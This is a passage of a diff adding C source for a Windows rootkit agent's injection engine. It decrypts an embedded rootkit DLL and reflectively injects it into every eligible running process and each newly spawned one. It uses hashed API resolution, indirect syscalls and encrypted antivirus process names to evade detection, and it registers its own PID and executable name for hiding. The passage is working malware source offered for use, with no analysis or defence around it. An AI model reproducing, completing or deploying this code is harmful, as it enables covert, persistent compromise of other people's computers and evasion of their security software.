check — skip ProcessBreakOnTermination +// 4. Integrity level check — skip Low IL / AppContainer / sandboxed +// 5. Already-injected check — DLL writes DOS header signature, returns +// FALSE if already present (injector cleans up) +// ============================================================================ + +// --------------------------------------------------------------------------- +// Decrypted DLL buffer (populated by rk_decrypt_dll) +// --------------------------------------------------------------------------- +static unsigned char *g_rk_dll_decrypted = NULL; +static unsigned int g_rk_dll_size = 0; + +int rk_decrypt_dll(void) { + if (g_rk_dll_decrypted) return 0; // Already decrypted + if (RK_DLL_ENC_SIZE == 0) return -1; + + PFN_VirtualAlloc pVA = RESOLVE_API(HASH_KERNEL32, HASH_VirtualAlloc, PFN_VirtualAlloc); + if (!pVA) return -2; + g_rk_dll_decrypted = (unsigned char *)pVA( + NULL, RK_DLL_ENC_SIZE, + MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + if (!g_rk_dll_decrypted) return -2; + + // Decrypt using the embedded key/nonce + chacha20_ctx_t ctx; + chacha20_init(&ctx, RK_DLL_KEY, RK_DLL_NONCE, 0); + chacha20_encrypt(&ctx, RK_DLL_ENC, g_rk_dll_decrypted, RK_DLL_ENC_SIZE); + secure_zero(&ctx, sizeof(ctx)); + + g_rk_dll_size = RK_DLL_ENC_SIZE; + +#ifdef _DEBUG + printf("[ROOTKIT] DLL decrypted: %u bytes\n", g_rk_dll_size); +#endif + return 0; +} + +// --------------------------------------------------------------------------- +// NT API typedefs (resolved at runtime via PEB walking) +// --------------------------------------------------------------------------- +typedef NTSTATUS (NTAPI *pNtCreateThreadEx)( + PHANDLE ThreadHandle, + ACCESS_MASK DesiredAccess, + LPVOID ObjectAttributes, + HANDLE ProcessHandle, + LPVOID StartRoutine, + LPVOID Argument, + ULONG CreateFlags, + SIZE_T ZeroBits, + SIZE_T StackSize, + SIZE_T MaximumStackSize, + LPVOID AttributeList +); + +typedef NTSTATUS (NTAPI *pNtQueryInformationProcess)( + HANDLE ProcessHandle, + ULONG ProcessInformationClass, + PVOID ProcessInformation, + ULONG ProcessInformationLength, + PULONG ReturnLength +); + +typedef NTSTATUS (NTAPI *pNtClose)( + HANDLE Handle +); + +// ProcessBreakOnTermination info class +#define ProcessBreakOnTermination 29 + +// Process access mask for injection +#define INJECT_ACCESS (PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | \ + PROCESS_VM_WRITE | PROCESS_VM_READ | \ + PROCESS_QUERY_INFORMATION) + +// Max processes to enumerate +#define MAX_PIDS 4096 + +// How long to wait for the reflective loader thread (ms). +// r77 uses 100ms. Short timeout prevents blocking the injection loop. +#define INJECT_THREAD_TIMEOUT_MS 500 + +// Delay between successful injections (ms) to avoid overwhelming the system +#define INJECT_INTER_DELAY_MS 50 + +// Process monitor poll interval (ms) — demoted to 5s fallback since +// NtResumeThread hook is the primary new-process detection mechanism +#define MONITOR_POLL_INTERVAL_MS 5000 + +// --------------------------------------------------------------------------- +// Shared memory IPC constants (must match rootkit_dll/config.h) +// Names decrypted at runtime from obfuscated strings. +// --------------------------------------------------------------------------- +#define RK_SHM_RING_SIZE 256 + +typedef struct _RK_SHM { + volatile LONG write_idx; + volatile LONG read_idx; + DWORD pids[RK_SHM_RING_SIZE]; + // Dynamic hiding config (written by agent, read by DLL hooks) + volatile DWORD hide_pid; + wchar_t hide_exe_name[260]; +} RK_SHM, *PRK_SHM; + +// Shared memory listener state +static volatile LONG g_shm_running = 0; +static HANDLE g_shm_thread = NULL; +static HANDLE g_shm_mapping = NULL; +static HANDLE g_shm_event = NULL; +static PRK_SHM g_shm_ptr = NULL; + +// Process monitor state +static volatile LONG g_monitor_running = 0; +static HANDLE g_monitor_thread = NULL; + +// Previous PID snapshot for monitor delta detection (protected by g_monitor_lock) +static DWORD g_prev_pids[MAX_PIDS]; +static DWORD g_prev_pid_count = 0; +static CRITICAL_SECTION g_monitor_lock; +static volatile LONG g_monitor_lock_init = 0; + +// --------------------------------------------------------------------------- +// Protected process names — never inject into these. +// Matches r77's exclusion list + additional crash-prone processes. +// --------------------------------------------------------------------------- +// Non-AV protected processes (safe to keep as plaintext — these are +// common Windows process names that don't trigger AV heuristics) +static const char *g_protected_base[] = { + "csrss.exe", "smss.exe", "wininit.exe", "services.exe", + "lsass.exe", "lsaiso.exe", "winlogon.exe", "fontdrvhost.exe", "dwm.exe", + "MSBuild.exe", + "RuntimeBroker.exe", "SearchHost.exe", "ShellExperienceHost.exe", + "StartMenuExperienceHost.exe", "TextInputHost.exe", "SystemSettings.exe", + "ApplicationFrameHost.exe", "LockApp.exe", "WidgetService.exe", "Widgets.exe", + "conhost.exe", "OpenConsole.exe", "WindowsTerminal.exe", + "WmiPrvSE.exe", "taskhostw.exe", "sihost.exe", + "LogonUI.exe", "CredentialEnrollmentManager.exe", + "ctfmon.exe", "dllhost.exe", + NULL +}; + +// AV process names — decrypted at runtime to avoid static detection +#define AV_PROC_COUNT 5 +static char g_av_procs[AV_PROC_COUNT][64]; +static volatile LONG g_av_procs_init = 0; + +static void init_av_proc_names(void) { + if (InterlockedCompareExchange(&g_av_procs_init, 1, 0) != 0) return; + obf_decrypt_to(OBF_MSMPENG, g_av_procs[0], sizeof(g_av_procs[0])); + obf_decrypt_to(OBF_MPCMDRUN, g_av_procs[1], sizeof(g_av_procs[1])); + obf_decrypt_to(OBF_MSSENSE, g_av_procs[2], sizeof(g_av_procs[2])); + obf_decrypt_to(OBF_SECHEALTH, g_av_procs[3], sizeof(g_av_procs[3])); + obf_decrypt_to(OBF_SGRMBROKER, g_av_procs[4], sizeof(g_av_procs[4])); +} + +// --------------------------------------------------------------------------- +// is_same_architecture — check if target process matches our bitness +// Prevents injecting x64 DLL into x86 process or vice versa. +// --------------------------------------------------------------------------- +static bool is_same_architecture(HANDLE hProcess) { + BOOL targetIsWow64 = FALSE; + BOOL selfIsWow64 = FALSE; + + if (!IsWow64Process(hProcess, &targetIsWow64)) { + return false; // Can't determine — assume incompatible (safe default) + } + if (!IsWow64Process(GetCurrentProcess(), &selfIsWow64)) { + return false; + } + + return (targetIsWow64 == selfIsWow64); +} + +// --------------------------------------------------------------------------- +// Case-insensitive string comparison helper +// --------------------------------------------------------------------------- +static int strcasecmp_local(const char *a, const char *b) { + while (*a && *b) { + char ca = *a, cb = *b; + if (ca >= 'A' && ca <= 'Z') ca += 32; + if (cb >= 'A' && cb <= 'Z') cb += 32; + if (ca != cb) return (int)ca - (int)cb; + a++; + b++; + } + return (int)(unsigned char)*a - (int)(unsigned char)*b; +} + +// --------------------------------------------------------------------------- +// is_protected_process — check if a process name is in the skip list +// --------------------------------------------------------------------------- +static bool is_protected_process(const char *name) { + // Check non-AV list + for (int i = 0; g_protected_base[i] != NULL; i++) { + if (strcasecmp_local(name, g_protected_base[i]) == 0) + return true; + } + // Check AV list (decrypted at runtime) + init_av_proc_names(); + for (int i = 0; i < AV_PROC_COUNT; i++) { + if (g_av_procs[i][0] && strcasecmp_local(name, g_av_procs[i]) == 0) + return true; + } + return false; +} + +// --------------------------------------------------------------------------- +// is_critical_process — check ProcessBreakOnTermination via NtQIP +// Processes with this flag set cause a BSOD if terminated. +// --------------------------------------------------------------------------- +static bool is_critical_process(HANDLE hProcess) { + ULONG is_critical = 0; + ULONG ret_len = 0; + NTSTATUS status; + + if (indirect_syscalls_ready()) { + status = sc_NtQueryInformationProcess( + hProcess, ProcessBreakOnTermination, + &is_critical, sizeof(is_critical), &ret_len); + } else { + pNtQueryInformationProcess NtQIP = RESOLVE_API( + HASH_NTDLL, HASH_NtQueryInformationProcess, pNtQueryInformationProcess); + if (!NtQIP) return true; + status = NtQIP(hProcess, ProcessBreakOnTermination, + &is_critical, sizeof(is_critical), &ret_len); + } + + if (status != 0) return true; // Assume critical on failure + return (is_critical != 0); +} + +// --------------------------------------------------------------------------- +// get_process_integrity_level — returns the IL RID of a process. +// Returns 0 on failure (treated as "skip this process"). +// +// Common values: +// 0x0000 = Untrusted +// 0x1000 = Low (sandboxed browser tabs, AppContainers) +// 0x2000 = Medium (normal user processes) +// 0x3000 = High (elevated / admin) +// 0x4000 = System +// +// r77 only injects >= Medium (0x2000). We do the same. +// --------------------------------------------------------------------------- +#ifndef SECURITY_MANDATORY_MEDIUM_RID +#define SECURITY_MANDATORY_MEDIUM_RID 0x2000 +#endif + +static DWORD get_process_integrity_level(HANDLE hProcess) { + HANDLE hToken = NULL; + if (!OpenProcessToken(hProcess, TOKEN_QUERY, &hToken)) { + return 0; + } + + DWORD integrity = 0; + DWORD needed = 0; + + // First call to get buffer size + GetTokenInformation(hToken, TokenIntegrityLevel, NULL, 0, &needed); + if (needed == 0) { + CloseHandle(hToken); + return 0; + } + + TOKEN_MANDATORY_LABEL *pLabel = (TOKEN_MANDATORY_LABEL *)HeapAlloc( + GetProcessHeap(), 0, needed); + if (!pLabel) { + CloseHandle(hToken); + return 0; + } + + if (GetTokenInformation(hToken, TokenIntegrityLevel, pLabel, needed, &needed)) { + SID *pSid = (SID *)pLabel->Label.Sid; + // The last sub-authority is the integrity level RID + if (pSid->SubAuthorityCount > 0) { + integrity = pSid->SubAuthority[pSid->SubAuthorityCount - 1]; + } + } + + HeapFree(GetProcessHeap(), 0, pLabel); + CloseHandle(hToken); + return integrity; +} + +// --------------------------------------------------------------------------- +// get_process_name — retrieve image filename for a process handle +// --------------------------------------------------------------------------- +static bool get_process_name(HANDLE hProcess, char *name_buf, size_t buf_size) { + DWORD needed = 0; + HMODULE hMod = NULL; + + if (!EnumProcessModules(hProcess, &hMod, sizeof(hMod), &needed)) { + return false; + } + if (GetModuleBaseNameA(hProcess, hMod, name_buf, (DWORD)buf_size) == 0) { + return false; + } + return true; +} + +// --------------------------------------------------------------------------- +// find_reflective_export — parse PE export table of embedded DLL to find +// the RVA of "ReflectiveDllMain" +// --------------------------------------------------------------------------- +static DWORD find_reflective_export(const unsigned char *dll, unsigned int dll_size) { + if (!dll || dll_size < sizeof(IMAGE_DOS_HEADER)) return 0; + + const IMAGE_DOS_HEADER *dos = (const IMAGE_DOS_HEADER *)dll; + if (dos->e_magic != IMAGE_DOS_SIGNATURE) return 0; + + if ((DWORD)dos->e_lfanew + sizeof(IMAGE_NT_HEADERS) > dll_size) return 0; + + const IMAGE_NT_HEADERS *nt = (const IMAGE_NT_HEADERS *)(dll + dos->e_lfanew); + if (nt->Signature != IMAGE_NT_SIGNATURE) return 0; + + DWORD export_rva = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; + if (export_rva == 0) return 0; + + const IMAGE_SECTION_HEADER *sections = (const IMAGE_SECTION_HEADER *)( + (const uint8_t *)&nt->OptionalHeader + nt->FileHeader.SizeOfOptionalHeader); + WORD num_sections = nt->FileHeader.NumberOfSections; + + #define RVA_TO_RAW(rva, sections, num_sections, raw_out) do { \ + raw_out = 0; \ + for (WORD _s = 0; _s < (num_sections); _s++) { \ + DWORD _va = (sections)[_s].VirtualAddress; \ + DWORD _sz = (sections)[_s].SizeOfRawData; \ + DWORD _vsize = (sections)[_s].Misc.VirtualSize; \ + if (_vsize == 0) _vsize = _sz; \ + if ((rva) >= _va && (rva) < _va + _vsize) { \ + raw_out = (sections)[_s].PointerToRawData + ((rva) - _va); \ + break; \ + } \ + } \ + } while(0) + + DWORD export_raw = 0; + RVA_TO_RAW(export_rva, sections, num_sections, export_raw); + if (export_raw == 0 || export_raw + sizeof(IMAGE_EXPORT_DIRECTORY) > dll_size) return 0; + + const IMAGE_EXPORT_DIRECTORY *exports = (const IMAGE_EXPORT_DIRECTORY *)(dll + export_raw); + + DWORD names_rva = exports->AddressOfNames; + DWORD ordinals_rva = exports->AddressOfNameOrdinals; + DWORD functions_rva = exports->AddressOfFunctions; + + DWORD names_raw = 0, ordinals_raw = 0, functions_raw = 0; + RVA_TO_RAW(names_rva, sections, num_sections, names_raw); + RVA_TO_RAW(ordinals_rva, sections, num_sections, ordinals_raw); + RVA_TO_RAW(functions_rva, sections, num_sections, functions_raw); + + if (names_raw == 0 || ordinals_raw == 0 || functions_raw == 0) return 0; + + const DWORD *names = (const DWORD *)(dll + names_raw); + const WORD *ordinals = (const WORD *)(dll + ordinals_raw); + const DWORD *functions = (const DWORD *)(dll + functions_raw); + + for (DWORD i = 0; i < exports->NumberOfNames; i++) { + DWORD name_rva = names[i]; + DWORD name_raw = 0; + RVA_TO_RAW(name_rva, sections, num_sections, name_raw); + if (name_raw == 0 || name_raw >= dll_size) continue; + + const char *func_name = (const char *)(dll + name_raw); + + size_t max_len = dll_size - name_raw; + if (max_len < 18) continue; /* strlen("ReflectiveDllMain") + 1 */ + + /* Compare against decrypted export name */ + char rdm_name[32]; + obf_decrypt_to(OBF_REFLECTIVE_DLL_MAIN, rdm_name, sizeof(rdm_name)); + int match = (strcmp(func_name, rdm_name) == 0); + obf_wipe(rdm_name, sizeof(rdm_name)); + if (match) { + WORD ordinal = ordinals[i]; + if (ordinal >= exports->NumberOfFunctions) continue; + DWORD func_rva = functions[ordinal]; + // Convert RVA to raw file offset — the DLL bytes in the + // target process are in FILE layout, not memory-mapped layout. + // Using the RVA directly would jump to the wrong code because + // SectionAlignment (0x1000) != FileAlignment (0x200). + DWORD func_raw = 0; + RVA_TO_RAW(func_rva, sections, num_sections, func_raw); + return func_raw; + } + } + + #undef RVA_TO_RAW + + return 0; +} + +// =========================================================================== +// rootkit_inject_pid — inject the rootkit DLL into a single process +// +// Returns: +// 0 = success +// -1 = no DLL embedded +// -2 = skipped (self, idle, system) +// -3 = reflective export not found +// -4 = OpenProcess failed +// -5 = critical process (ProcessBreakOnTermination) +// -6 = protected process name +// -7 = VirtualAllocEx failed +// -8 = WriteProcessMemory failed +// -9 = NtCreateThreadEx not resolved +// -10 = NtCreateThreadEx failed +// -11 = thread wait failed +// -12 = architecture mismatch +// -13 = can't get process name +// -14 = already injected (DllMain returned FALSE) +// -15 = low integrity / sandboxed +// -16 = VirtualProtectEx failed (RW→RX) +// =========================================================================== +int rootkit_inject_pid(uint32_t pid) { + // Guard: no DLL available (not decrypted or placeholder) + if (!g_rk_dll_decrypted || g_rk_dll_size == 0) return -1; + + // Skip Idle (0), System (4), and our own PID + DWORD my_pid = GetCurrentProcessId(); + if (pid == 0 || pid == 4 || pid == my_pid) return -2; + + // Find ReflectiveDllMain export offset in the decrypted DLL + DWORD reflective_rva = find_reflective_export(g_rk_dll_decrypted, g_rk_dll_size); + if (reflective_rva == 0) return -3; + + // Open target process + PFN_OpenProcess pOP = RESOLVE_API(HASH_KERNEL32, HASH_OpenProcess, PFN_OpenProcess); + if (!pOP) return -4; + HANDLE hProcess = pOP(INJECT_ACCESS, FALSE, pid); + if (!hProcess) return -4; + + // --- Safety gauntlet (all checks must pass) --- + + // 1. Architecture match (don't inject x64 DLL into x86 process) + if (!is_same_architecture(hProcess)) { + CloseHandle(hProcess); + return -12; + } + + // 2. Critical process check (ProcessBreakOnTermination → BSOD if killed) + if (is_critical_process(hProcess)) { + CloseHandle(hProcess); + return -5; + } + + // 3. Process name against exclusion list + char proc_name[260] = {0}; + if (get_process_name(hProcess, proc_name, sizeof(proc_name))) { + if (is_protected_process(proc_name)) { + CloseHandle(hProcess); + return -6; + } + } else { + // Can't get process name → likely a system/protected process + CloseHandle(hProcess); + return -13; + } + + // 4. Integrity level check — skip Low IL, Untrusted, AppContainer. + // These are sandboxed processes that crash when injected (browser + // renderer tabs, UWP apps, etc.). r77 does the same check. + DWORD il = get_process_integrity_level(hProcess); + if (il < SECURITY_MANDATORY_MEDIUM_RID) { + CloseHandle(hProcess); + return -15; + } + + // --- All checks passed — proceed with injection --- + + // Allocate memory in target process as RW (not RWX) to avoid + // triggering AV heuristics on PAGE_EXECUTE_READWRITE allocations. + // After writing, we change protection to RX. + LPVOID remote_base = NULL; + if (indirect_syscalls_ready()) { + PVOID base_addr = NULL; + SIZE_T region_size = g_rk_dll_size; + NTSTATUS alloc_st = sc_NtAllocateVirtualMemory( + hProcess, &base_addr, 0, ®ion_size, + MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + remote_base = (alloc_st == 0) ? base_addr : NULL; + } else { + PFN_VirtualAllocEx pVAX = RESOLVE_API(HASH_KERNEL32, HASH_VirtualAllocEx, PFN_VirtualAllocEx); + if (pVAX) + remote_base = pVAX(hProcess, NULL, g_rk_dll_size, + MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + } + if (!remote_base) { + CloseHandle(hProcess); + return -7; + } + + // Write decrypted DLL bytes into target process + SIZE_T written = 0; + if (indirect_syscalls_ready()) { + NTSTATUS write_st = sc_NtWriteVirtualMemory( + hProcess, remote_base, (PVOID)g_rk_dll_decrypted, + g_rk_dll_size, &written); + if (write_st != 0 || written != g_rk_dll_size) { + PVOID free_base = remote_base; + SIZE_T free_size = 0; + sc_NtFreeVirtualMemory(hProcess, &free_base, &free_size, MEM_RELEASE); + CloseHandle(hProcess); + return -8; + } + } else { + PFN_WriteProcessMemory pWPM = RESOLVE_API(HASH_KERNEL32, HASH_WriteProcessMemory, PFN_WriteProcessMemory); + PFN_VirtualFreeEx pVFX = RESOLVE_API(HASH_KERNEL32, HASH_VirtualFreeEx, PFN_VirtualFreeEx); + if (!pWPM || !pWPM(hProcess, remote_base, g_rk_dll_decrypted, g_rk_dll_size, &written) || + written != g_rk_dll_size) { + if (pVFX) pVFX(hProcess, remote_base, 0, MEM_RELEASE); + CloseHandle(hProcess); + return -8; + } + } + + // Change memory protection from RW to RX now that write is complete + { + DWORD old_protect = 0; + BOOL prot_ok = FALSE; + if (indirect_syscalls_ready()) { + PVOID prot_base = remote_base; + SIZE_T prot_size = g_rk_dll_size; + ULONG prot_old = 0; + NTSTATUS prot_st = sc_NtProtectVirtualMemory( + hProcess, &prot_base, &prot_size, PAGE_EXECUTE_READ, &prot_old); + prot_ok = (prot_st == 0); + } else { + PFN_VirtualProtectEx pVPX = RESOLVE_API(HASH_KERNEL32, HASH_VirtualProtectEx, PFN_VirtualProtectEx); + if (pVPX) + prot_ok = pVPX(hProcess, remote_base, g_rk_dll_size, + PAGE_EXECUTE_READ, &old_protect); + } + if (!prot_ok) { + if (indirect_syscalls_ready()) { + PVOID free_base = remote_base; + SIZE_T free_size = 0; + sc_NtFreeVirtualMemory(hProcess, &free_base, &free_size, MEM_RELEASE); + } else { + PFN_VirtualFreeEx pVFX = RESOLVE_API(HASH_KERNEL32, HASH_VirtualFreeEx, PFN_VirtualFreeEx); + if (pVFX) pVFX(hProcess, remote_base, 0, MEM_RELEASE); + } + CloseHandle(hProcess); + return -16; + } + } + + // Calculate remote entry point: base + ReflectiveDllMain RVA + LPVOID remote_entry = (LPVOID)((ULONG_PTR)remote_base + reflective_rva); + + // Create remote thread via NtCreateThreadEx (works cross-session, + // unlike CreateRemoteThread on older Windows) + HANDLE hThread = NULL; + NTSTATUS status; + + if (indirect_syscalls_ready()) { + status = sc_NtCreateThreadEx( + &hThread, THREAD_ALL_ACCESS, NULL, + hProcess, remote_entry, remote_base, + 0, 0, 0, 0, NULL); + } else { + pNtCreateThreadEx NtCreateThread = RESOLVE_API( + HASH_NTDLL, HASH_NtCreateThreadEx, pNtCreateThreadEx); + if (!NtCreateThread) { + PFN_VirtualFreeEx pVFX2 = RESOLVE_API(HASH_KERNEL32, HASH_VirtualFreeEx, PFN_VirtualFreeEx); + if (pVFX2) pVFX2(hProcess, remote_base, 0, MEM_RELEASE); + CloseHandle(hProcess); + return -9; + } + status = NtCreateThread( + &hThread, THREAD_ALL_ACCESS, NULL, + hProcess, remote_entry, remote_base, + 0, 0, 0, 0, NULL); + } + + if (status != 0 || !hThread) { + if (indirect_syscalls_ready()) { + PVOID free_base = remote_base; + SIZE_T free_size = 0; + sc_NtFreeVirtualMemory(hProcess, &free_base, &free_size, MEM_RELEASE); + } else { + PFN_VirtualFreeEx pVFX3 = RESOLVE_API(HASH_KERNEL32, HASH_VirtualFreeEx, PFN_VirtualFreeEx); + if (pVFX3) pVFX3(hProcess, remote_base, 0, MEM_RELEASE); + } + CloseHandle(hProcess); + return -10; + } + + // Wait for the reflective loader to finish. Short timeout so we don't + // stall the injection loop if a thread hangs. + DWORD wait_result = WaitForSingleObject(hThread, INJECT_THREAD_TIMEOUT_MS); + + int ret = -11; + + if (wait_result == WAIT_OBJECT_0) { + // Thread finished — check exit code. + // DllMain returns TRUE (1) on success, FALSE (0) if already injected. + DWORD exit_code = 0; + GetExitCodeThread(hThread, &exit_code); + + if (exit_code != 0) { + // Success — DLL loaded and hooks installed + InterlockedIncrement((volatile LONG *)&g_rootkit_injected_count); + ret = 0; + } else { + // DllMain returned FALSE — already injected or init failed. + // Clean up the remote allocation since the DLL didn't keep it. + if (indirect_syscalls_ready()) { + PVOID free_base = remote_base; + SIZE_T free_size = 0; + sc_NtFreeVirtualMemory(hProcess, &free_base, &free_size, MEM_RELEASE); + } else { + PFN_VirtualFreeEx pVFX4 = RESOLVE_API(HASH_KERNEL32, HASH_VirtualFreeEx, PFN_VirtualFreeEx); + if (pVFX4) pVFX4(hProcess, remote_base, 0, MEM_RELEASE); + } + ret = -14; + } + } else if (wait_result == WAIT_TIMEOUT) { + // Thread still running — the reflective loader is taking long. + // Don't free remote_base since the thread is still using it. + // Count as success since it's likely still loading. + InterlockedIncrement((volatile LONG *)&g_rootkit_injected_count); + ret = 0; + } + // else: WAIT_FAILED — something went wrong, ret stays -11 + + // Close thread handle + if (indirect_syscalls_ready()) { + sc_NtClose(hThread); + } else { + pNtClose NtClose = RESOLVE_API(HASH_NTDLL, HASH_NtClose, pNtClose); + if (NtClose) { + NtClose(hThread); + } else { + CloseHandle(hThread); + } + } + + CloseHandle(hProcess); + return ret; +} + +// =========================================================================== +// rootkit_inject_all — inject into all running processes +// =========================================================================== +int rootkit_inject_all(void) { + if (!g_rk_dll_decrypted || g_rk_dll_size == 0) return -1; + + DWORD pids[MAX_PIDS]; + DWORD bytes_returned = 0; + + if (!EnumProcesses(pids, sizeof(pids), &bytes_returned)) { + return -2; + } + + DWORD num_pids = bytes_returned / sizeof(DWORD); + int success_count = 0; + + for (DWORD i = 0; i < num_pids; i++) { + int result = rootkit_inject_pid(pids[i]); + if (result == 0) { + success_count++; + // Delay between successful injections to avoid overwhelming + // the system with concurrent DLL loads + Sleep(INJECT_INTER_DELAY_MS); + } + // Failures are expected and silently skipped — many processes + // won't be injectable due to permissions, architecture, etc. + } + + return success_count; +} + +// =========================================================================== +// Process monitor — background thread that injects newly spawned processes +// =========================================================================== + +static DWORD WINAPI monitor_thread_proc(LPVOID param) { + (void)param; + + // Take initial snapshot + DWORD current_pids[MAX_PIDS]; + DWORD bytes_returned = 0; + + EnterCriticalSection(&g_monitor_lock); + if (EnumProcesses(g_prev_pids, sizeof(g_prev_pids), &bytes_returned)) { + g_prev_pid_count = bytes_returned / sizeof(DWORD); + } + LeaveCriticalSection(&g_monitor_lock); + + while (InterlockedCompareExchange(&g_monitor_running, 1, 1) == 1) { + Sleep(MONITOR_POLL_INTERVAL_MS); + + bytes_returned = 0; + if (!EnumProcesses(current_pids, sizeof(current_pids), &bytes_returned)) { + continue; + } + DWORD current_count = bytes_returned / sizeof(DWORD); + + EnterCriticalSection(&g_monitor_lock); + + // Find newly spawned PIDs (in current but not in previous snapshot) + for (DWORD i = 0; i < current_count; i++) { + DWORD pid = current_pids[i]; + bool found = false; + + for (DWORD j = 0; j < g_prev_pid_count; j++) { + if (g_prev_pids[j] == pid) { + found = true; + break; + } + } + + if (!found) { + // New process detected — release lock during injection + // to avoid holding it during slow operations + LeaveCriticalSection(&g_monitor_lock); + + // Brief delay to let the process finish initializing. + // Injecting too early (before ntdll is fully mapped) can crash. + Sleep(50); + + rootkit_inject_pid(pid); + EnterCriticalSection(&g_monitor_lock); + } + } + + // Update snapshot + memcpy(g_prev_pids, current_pids, current_count * sizeof(DWORD)); + g_prev_pid_count = current_count; + + LeaveCriticalSection(&g_monitor_lock); + } + + return 0; +} + +// =========================================================================== +// rootkit_start_monitor — launch the background process monitor thread +// =========================================================================== +int rootkit_start_monitor(void) { + if (!g_rk_dll_decrypted || g_rk_dll_size == 0) return -1; + + // Don't start if already running + if (InterlockedCompareExchange(&g_monitor_running, 1, 0) != 0) { + return 0; // Already running + } + + // Initialize lock once (thread-safe via InterlockedCompareExchange) + if (InterlockedCompareExchange(&g_monitor_lock_init, 1, 0) == 0) { + InitializeCriticalSection(&g_monitor_lock); + } + + g_monitor_thread = CreateThread( + NULL, 0, + monitor_thread_proc, + NULL, 0, NULL + ); + + if (!g_monitor_thread) { + InterlockedExchange(&g_monitor_running, 0); + return -2; + } + + return 0; +} + +// =========================================================================== +// rootkit_stop_monitor — signal the monitor thread to stop and wait +// =========================================================================== +void rootkit_stop_monitor(void) { + if (InterlockedCompareExchange(&g_monitor_running, 0, 1) != 1) { + return; // Not running + } + + if (g_monitor_thread) { + WaitForSingleObject(g_monitor_thread, 3000); + CloseHandle(g_monitor_thread); + g_monitor_thread = NULL; + } + + if (g_monitor_lock_init) { + EnterCriticalSection(&g_monitor_lock); + g_prev_pid_count = 0; + LeaveCriticalSection(&g_monitor_lock); + DeleteCriticalSection(&g_monitor_lock); + InterlockedExchange(&g_monitor_lock_init, 0); + } +} + +// =========================================================================== +// Shared memory listener — receives child PIDs from NtResumeThread hook +// +// The rootkit DLL's NtResumeThread hook writes new child PIDs into a +// shared memory ring buffer and signals an event. This thread waits on +// the event and injects each reported PID using the existing injection +// engine. This is the PRIMARY new-process detection mechanism. +// =========================================================================== + +static DWORD WINAPI shm_listener_thread_proc(LPVOID param) { + (void)param; + + while (InterlockedCompareExchange(&g_shm_running, 1, 1) == 1) { + // Wait for signal from hooked processes (1s timeout for shutdown check) + WaitForSingleObject(g_shm_event, 1000); + + if (!g_shm_ptr) continue; + + // Drain all pending PIDs from the ring buffer + LONG write = g_shm_ptr->write_idx; + LONG read = g_shm_ptr->read_idx; + + while (read < write) { + DWORD pid = g_shm_ptr->pids[(unsigned)read % RK_SHM_RING_SIZE]; + InterlockedIncrement(&g_shm_ptr->read_idx); + read++; + + if (pid == 0 || pid == 4) continue; + + // Brief delay to let the child process finish ntdll initialization. + // NtResumeThread fires very early — the child needs a moment. + Sleep(15); + + rootkit_inject_pid(pid); + } + } + + return 0; +} + +// =========================================================================== +// rootkit_start_shm_listener — create shared memory + event and start listener +// =========================================================================== +int rootkit_start_shm_listener(void) { + if (!g_rk_dll_decrypted || g_rk_dll_size == 0) return -1; + + // Don't start if already running + if (InterlockedCompareExchange(&g_shm_running, 1, 0) != 0) { + return 0; + } + + // Decrypt SHM/EVT names to narrow, then widen + char shm_narrow[64], evt_narrow[64]; + wchar_t shm_wide[64], evt_wide[64]; + obf_decrypt_to(OBF_SHM_NAME, shm_narrow, sizeof(shm_narrow)); + obf_decrypt_to(OBF_EVT_NAME, evt_narrow, sizeof(evt_narrow)); + MultiByteToWideChar(CP_ACP, 0, shm_narrow, -1, shm_wide, 64); + MultiByteToWideChar(CP_ACP, 0, evt_narrow, -1, evt_wide, 64); + obf_wipe(shm_narrow, sizeof(shm_narrow)); + obf_wipe(evt_narrow, sizeof(evt_narrow)); + + // Create shared memory section. + // NOTE: NULL DACL is intentional here. The shared memory region must be + // accessible from processes running at different integrity levels (including + // child processes injected by the rootkit DLL). The DLL's NtResumeThread + // hook writes new child PIDs into this ring buffer from arbitrary process + // contexts, which may have different security tokens. A restrictive DACL + // would prevent cross-process IPC from working correctly. + SECURITY_ATTRIBUTES sa; + SECURITY_DESCRIPTOR sd; + InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION); + SetSecurityDescriptorDacl(&sd, TRUE, NULL, FALSE); /* NULL DACL = allow all access */ + sa.nLength = sizeof(sa); + sa.lpSecurityDescriptor = &sd; + sa.bInheritHandle = FALSE; + + g_shm_mapping = CreateFileMappingW( + INVALID_HANDLE_VALUE, + &sa, + PAGE_READWRITE, + 0, + sizeof(RK_SHM), + shm_wide); + + if (!g_shm_mapping) { + InterlockedExchange(&g_shm_running, 0); + return -2; + } + + g_shm_ptr = (PRK_SHM)MapViewOfFile( + g_shm_mapping, FILE_MAP_ALL_ACCESS, 0, 0, sizeof(RK_SHM)); + + if (!g_shm_ptr) { + CloseHandle(g_shm_mapping); + g_shm_mapping = NULL; + InterlockedExchange(&g_shm_running, 0); + return -3; + } + + // Zero-initialize the ring buffer + memset((void *)g_shm_ptr, 0, sizeof(RK_SHM)); + + // Write agent self-info so DLL hooks can dynamically hide us + g_shm_ptr->hide_pid = GetCurrentProcessId(); + { + wchar_t path[MAX_PATH]; + GetModuleFileNameW(NULL, path, MAX_PATH); + wchar_t *name = wcsrchr(path, L'\\'); + name = name ? name + 1 : path; + wcsncpy(g_shm_ptr->hide_exe_name, name, 259); + g_shm_ptr->hide_exe_name[259] = L'\0'; + } +#ifdef _DEBUG + printf("[ROOTKIT] SHM self-info: PID=%lu, exe=%ls\n", + (unsigned long)g_shm_ptr->hide_pid, g_shm_ptr->hide_exe_name); +#endif + + // Create auto-reset event for signaling + g_shm_event = CreateEventW(&sa, FALSE, FALSE, evt_wide); + SecureZeroMemory(shm_wide, sizeof(shm_wide)); + SecureZeroMemory(evt_wide, sizeof(evt_wide)); + if (!g_shm_event) { + UnmapViewOfFile(g_shm_ptr); + g_shm_ptr = NULL; + CloseHandle(g_shm_mapping); + g_shm_mapping = NULL; + InterlockedExchange(&g_shm_running, 0); + return -4; + } + + // Start the listener thread + g_shm_thread = CreateThread(NULL, 0, shm_listener_thread_proc, NULL, 0, NULL); + if (!g_shm_thread) { + CloseHandle(g_shm_event); + g_shm_event = NULL; + UnmapViewOfFile(g_shm_ptr); + g_shm_ptr = NULL; + CloseHandle(g_shm_mapping); + g_shm_mapping = NULL; + InterlockedExchange(&g_shm_running, 0); + return -5; + 